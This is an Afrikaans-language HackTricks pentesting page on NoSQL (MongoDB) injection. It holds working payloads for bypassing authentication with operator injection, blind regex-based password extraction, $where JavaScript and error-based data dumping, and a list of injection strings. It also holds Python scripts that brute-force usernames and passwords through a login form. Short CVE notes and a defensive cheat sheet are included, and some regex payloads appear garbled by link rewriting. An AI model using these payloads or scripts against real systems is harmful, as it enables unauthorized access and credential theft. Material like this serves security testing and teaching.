NoSQL injection
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Exploit
In PHP kan jy ’n Array stuur deur die gestuurde parameter te verander van parameter=foo na parameter[arrName]=foo.
Die exploits is gebaseer op die toevoeging van ’n Operator:
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
Basic authentication bypass
Gebruik van not equal ($ne) of greater ($gt)
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
SQL - Mongo
query = { $where: `this.username == '${username}'` }
’n aanvaller kan dit misbruik deur stringe soos admin' || 'a'=='a in te voer, wat die query alle dokumente laat teruggee deur die voorwaarde met ’n tautologie ('a'=='a') te bevredig. Dit is analoog aan SQL injection attacks waar insette soos ' or 1=1-- - gebruik word om SQL queries te manipuleer. In MongoDB kan soortgelyke injections gedoen word met insette soos ' || 1==1//, ' || 1==1%00, of admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Onttrek lengte inligting
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
Onttrek data-inligting
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
SQL - Mongo
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
PHP Arbitrary Function Execution
Deur die $func operator van die MongoLite biblioteek (by verstek gebruik) kan dit moontlik wees om ’n arbitrary function uit te voer soos in this report.
"user":{"$func": "var_dump"}
.png)
Kry inligting uit ’n ander collection
Dit is moontlik om $lookup te gebruik om inligting uit ’n ander collection te kry. In die volgende voorbeeld lees ons vanaf ’n ander collection genaamd users en kry die resultate van al die inskrywings met ’n wagwoord wat by ’n wildcard pas.
NOTE: $lookup en ander aggregasie-funksies is slegs beskikbaar as die aggregate() funksie gebruik is om die soektog uit te voer in plaas van die meer algemene find() of findOne() funksies.
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
Error-Based Injection
Voeg throw new Error(JSON.stringify(this)) in ’n $where-klousule in om volledige dokumente te exfiltrate via server-side JavaScript errors (vereis dat die toepassing database errors leak). Voorbeeld:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
As die toepassing slegs die eerste mislukte dokument leaks, hou die dump deterministies deur dokumente wat jy reeds teruggekry het uit te sluit. Vergelyking met die laaste leaked _id is ’n maklike paginator:
{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }
Oorwin pre/post-voorwaardes in syntax injection
Wanneer die toepassing die Mongo-filter as ’n string opbou voordat dit geparseer word, is syntax injection nie meer tot ’n enkele veld beperk nie en kan jy dikwels omliggende voorwaardes neutraliseer.
In $where injections, JavaScript truthy values and poison null bytes bly steeds nuttig om agterliggende klousules te beëindig:
' || 1 || 'x
' || 1%00
In raw JSON filter injection kan duplicate keys vroeër beperkings oorskryf op parsers wat ’n last-key-wins beleid volg:
// Original filter
{"username":"<input>","role":"user"}
// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key
// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}
Hierdie truuk is parser-afhanklik en geld slegs wanneer die toepassing JSON eers saamstel met string-konkatenasie/interpolasie. Dit geld nie wanneer die backend die query end-to-end as ’n gestruktureerde objek hou.
Onlangse CVEs & Real-World Exploits (2023-2025)
Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
Weergawes ≤ 6.0.0 het die Meteor-metode listEmojiCustom blootgestel wat ’n deur die gebruiker beheerde selector-objek direk na find() deurgestuur het. Deur operateurs soos {"$where":"sleep(2000)||true"} in te spuit kon ’n unauthenticated aanvaller ’n timing oracle bou en dokumente eksfiltreer. Die fout is in 6.0.1 gepatch deur die selector-vorm te valideer en gevaarlike operateurs te verwyder.
Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061
As ’n toepassing objekte wat deur ’n aanvaller beheer word na populate({ match: ... }) deurstuur, laat kwesbare Mongoose-weergawes $where-gebaseerde search injection toe binne die populate-filter. CVE-2024-53900 het die topvlakgeval gedek; CVE-2025-23061 het ’n omseiling gedek waar $where onder operateurs soos $or genest was.
// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });
Gebruik ’n allow-list en map scalars eksplisiet in plaas daarvan om die hele request object deur te gee. Mongoose ondersteun ook sanitizeFilter om geneste operator-objekte in $eq te verpak, maar dit moet as ’n veiligheidsnet beskou word eerder as ’n plaasvervanger vir eksplisiete filter-mapping:
mongoose.set('sanitizeFilter', true);
Post.find().populate({
path: 'author',
match: { email: req.query.email }
});
GraphQL → Mongo filter verwarring
Resolvers wat args.filter direk in collection.find() deurstuur bly kwesbaar:
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
Maatreëls: rekursief verwyder sleutels wat met $ begin, kaart goedgekeurde operatoren eksplisiet aan, of valideer met schema-biblioteke (Joi, Zod).
Verdedigende Cheat-Sheet (opgedateer 2025)
- Verwyder of weier sleutels wat met
$begin; as Express voor Mongo/Mongoose staan, sanitiseerreq.body,req.queryenreq.paramsvoordat dit die ORM bereik. - Deaktiveer server-side JavaScript op self-hosted MongoDB (
--noscriptingofsecurity.javascriptEnabled: false) sodat$whereen soortgelyke JS sinks nie beskikbaar is nie. - Gebruik eerder
$expren getipeerde query-builders in plaas van$where. - Valideer datatipes vroeg (Joi/Ajv/Zod) en verbied arrays of objekte waar skalare verwag word om
[$ne]-truuks te voorkom. - Vir GraphQL, vertaal filter-argumente deur ’n allow-list; versprei nooit onbetroubare objekte in Mongo/Mongoose filters nie.
MongoDB Payloads
Lys hier
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Blind NoSQL Skrip
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
Brute-force login usernames en passwords van POST login
Dit is ’n eenvoudige skrip wat jy kan wysig, maar die vorige tools kan ook hierdie taak doen.
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
Gereedskap
- https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
- https://github.com/C4l1b4n/NoSQL-Attack-Suite
- https://github.com/ImKKingshuk/StealthNoSQL
- https://github.com/Charlie-belmer/nosqli
Verwysings
- https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
- https://nullsweep.com/a-nosql-injection-primer-with-mongo/
- https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb
- https://sensepost.com/blog/2025/nosql-error-based-injection/
- https://nvd.nist.gov/vuln/detail/CVE-2023-28359
- https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900
- https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/
- https://mongoosejs.com/docs/6.x/docs/api/mongoose.html
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


